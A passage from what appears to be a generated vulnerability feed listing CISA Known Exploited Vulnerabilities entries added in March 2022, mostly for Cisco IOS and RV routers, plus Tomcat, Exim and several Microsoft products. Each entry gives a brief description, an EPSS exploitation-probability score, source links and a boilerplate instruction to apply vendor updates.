(https://api.first.org/data/v1/epss?cve=CVE-2022-20703&date=2026-10-25). Sources: CISA KEV entry CVE-2022-20703: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20703&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2022-20701 Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability (Mar 3, 2022). A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS). EPSS 9.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-20701&date=2026-10-25). Sources: CISA KEV entry CVE-2022-20701: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20701&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2022-20700 Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability (Mar 3, 2022). A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS). EPSS 5.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-20700&date=2026-10-25). Sources: CISA KEV entry CVE-2022-20700: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20700&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2022-20699 Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability (Mar 3, 2022). A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS). EPSS 72.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-20699&date=2026-10-25). Sources: CISA KEV entry CVE-2022-20699: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20699&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Installer Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2021-41379 Microsoft Windows Installer Privilege Escalation Vulnerability (Mar 3, 2022). Microsoft Windows Installer contains an unspecified vulnerability that allows for privilege escalation. EPSS 19.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-41379&date=2026-10-25). Sources: CISA KEV entry CVE-2021-41379: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-41379&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache Tomcat Improper Privilege Management Vulnerability https://kevwire.com/record/CVE-2020-1938 Apache Tomcat Improper Privilege Management Vulnerability (Mar 3, 2022). Apache Tomcat treats Apache JServ Protocol (AJP) connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited. EPSS 99.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1938&date=2026-10-25). Sources: CISA KEV entry CVE-2020-1938: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1938&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Treck TCP/IP stack Out-of-Bounds Read Vulnerability https://kevwire.com/record/CVE-2020-11899 Treck TCP/IP stack Out-of-Bounds Read Vulnerability (Mar 3, 2022). The Treck TCP/IP stack contains an IPv6 out-of-bounds read vulnerability. EPSS 18.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-11899&date=2026-10-25). Sources: CISA KEV entry CVE-2020-11899: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-11899&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Exim Out-of-bounds Write Vulnerability https://kevwire.com/record/CVE-2019-16928 Exim Out-of-bounds Write Vulnerability (Mar 3, 2022). Exim contains an out-of-bounds write vulnerability which can allow for remote code execution. EPSS 41.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-16928&date=2026-10-25). Sources: CISA KEV entry CVE-2019-16928: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-16928&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Small Business Routers Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2019-1652 Cisco Small Business Routers Improper Input Validation Vulnerability (Mar 3, 2022). A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an authenticated, remote attacker with administrative privileges on an affected device to execute arbitrary commands. EPSS 95.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1652&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1652: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1652&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Excel Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2019-1297 Microsoft Excel Remote Code Execution Vulnerability (Mar 3, 2022). A remote code execution vulnerability exists in Microsoft Excel when the software fails to properly handle objects in memory. EPSS 21.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1297&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1297: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1297&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Exchange Server Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2018-8581 Microsoft Exchange Server Privilege Escalation Vulnerability (Mar 3, 2022). A privilege escalation vulnerability exists in Microsoft Exchange Server. An attacker who successfully exploited this vulnerability could attempt to impersonate any other user of the Exchange server. EPSS 27.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8581&date=2026-10-25). Sources: CISA KEV entry CVE-2018-8581: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8581&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ChakraCore Scripting Engine Type Confusion Vulnerability https://kevwire.com/record/CVE-2018-8298 ChakraCore Scripting Engine Type Confusion Vulnerability (Mar 3, 2022). The ChakraCore scripting engine contains a type confusion vulnerability which can allow for remote code execution. EPSS 74.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8298&date=2026-10-25). Sources: CISA KEV entry CVE-2018-8298: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8298&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2018-0180 Cisco IOS Software Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the Login Enhancements (Login Block) feature of Cisco IOS Software could allow an unauthenticated, remote attacker to trigger a reload of an affected system, resulting in a denial of service (DoS) condition. EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0180&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0180: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0180&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2018-0179 Cisco IOS Software Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the Login Enhancements (Login Block) feature of Cisco IOS Software could allow an unauthenticated, remote attacker to trigger a reload of an affected system, resulting in a denial of service (DoS) condition. EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0179&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0179: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0179&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS, XR, and XE Software Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2018-0175 Cisco IOS, XR, and XE Software Buffer Overflow Vulnerability (Mar 3, 2022). Format string vulnerability in the Link Layer Discovery Protocol (LLDP) subsystem of Cisco IOS Software, Cisco IOS XE Software, and Cisco IOS XR Software could allow an unauthenticated, adjacent attacker to cause a denial of service (DoS) condition or execute arbitrary code with elevated privileges on an affected device. EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0175&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0175: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0175&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software and Cisco IOS XE Software Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2018-0174 Cisco IOS Software and Cisco IOS XE Software Improper Input Validation Vulnerability (Mar 3, 2022). A vulnerability in the DHCP option 82 encapsulation functionality of Cisco IOS Software and Cisco IOS XE Software could allow for denial-of-service (DoS). EPSS 7.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0174&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0174: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0174&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Software Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2018-0173 Cisco IOS and IOS XE Software Improper Input Validation Vulnerability (Mar 3, 2022). A vulnerability in the Cisco IOS Software and Cisco IOS XE Software function that restores encapsulated option 82 information in DHCP Version 4 (DHCPv4) packets can allow for denial-of-service (DoS). EPSS 7.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0173&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0173: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0173&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Software Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2018-0172 Cisco IOS and IOS XE Software Improper Input Validation Vulnerability (Mar 3, 2022). A vulnerability in the DHCP option 82 encapsulation functionality of Cisco IOS Software and Cisco IOS XE Software could allow for denial-of-service (DoS). EPSS 7.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0172&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0172: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0172&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS, XR, and XE Software Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2018-0167 Cisco IOS, XR, and XE Software Buffer Overflow Vulnerability (Mar 3, 2022). There is a buffer overflow vulnerability in the Link Layer Discovery Protocol (LLDP) subsystem of Cisco IOS Software, Cisco IOS XE Software, and Cisco IOS XR Software which could allow an unauthenticated, adjacent attacker to cause a denial of service (DoS) condition or execute arbitrary code. EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0167&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0167: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0167&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software Resource Management Errors Vulnerability https://kevwire.com/record/CVE-2018-0161 Cisco IOS Software Resource Management Errors Vulnerability (Mar 3, 2022). A vulnerability in the Simple Network Management Protocol (SNMP) subsystem of Cisco IOS Software running on certain models of Cisco Catalyst Switches could allow an authenticated, remote attacker to cause a denial-of-service (DoS) condition. EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0161&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0161: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0161&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and XE Software Internet Key Exchange Version 1 Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2018-0159 Cisco IOS and XE Software Internet Key Exchange Version 1 Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the implementation of Internet Key Exchange Version 1 (IKEv1) functionality in Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial-of-service (DoS) condition. EPSS 6.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0159&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0159: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0159&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and XE Software Internet Key Exchange Memory Leak Vulnerability https://kevwire.com/record/CVE-2018-0158 Cisco IOS and XE Software Internet Key Exchange Memory Leak Vulnerability (Mar 3, 2022). A vulnerability in the implementation of Internet Key Exchange Version 1 (IKEv1) functionality in Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial-of-service (DoS) condition. EPSS 7.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0158&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0158: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0158&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software and Cisco IOS XE Software Smart Install Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2018-0156 Cisco IOS Software and Cisco IOS XE Software Smart Install Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the Smart Install feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to trigger a reload of an affected device, resulting in a denial-of-service (DoS) condition. EPSS 9.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0156&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0156: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0156&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Catalyst Bidirectional Forwarding Detection Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2018-0155 Cisco Catalyst Bidirectional Forwarding Detection Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the Bidirectional Forwarding Detection (BFD) offload implementation of Cisco Catalyst 4500 Series Switches and Cisco Catalyst 4500-X Series Switches could allow an unauthenticated, remote attacker to cause a crash of the iosd process, causing a denial-of-service (DoS) condition. EPSS 7.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0155&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0155: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0155&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software Integrated Services Module for VPN Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2018-0154 Cisco IOS Software Integrated Services Module for VPN Denial-of-Service Vulnerability (Mar 3, 2022). A vulnerability in the crypto engine of the Cisco Integrated Services Module for VPN (ISM-VPN) running Cisco IOS Software could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) condition. EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0154&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0154: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0154&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS Software and Cisco IOS XE Software Quality of Service Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2018-0151 Cisco IOS Software and Cisco IOS XE Software Quality of Service Remote Code Execution Vulnerability (Mar 3, 2022). A vulnerability in the quality of service (QoS) subsystem of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition or execute arbitrary code with elevated privileges. EPSS 14.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0151&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0151: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0151&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Malware Protection Engine Improper Restriction of Operations Vulnerability https://kevwire.com/record/CVE-2017-8540 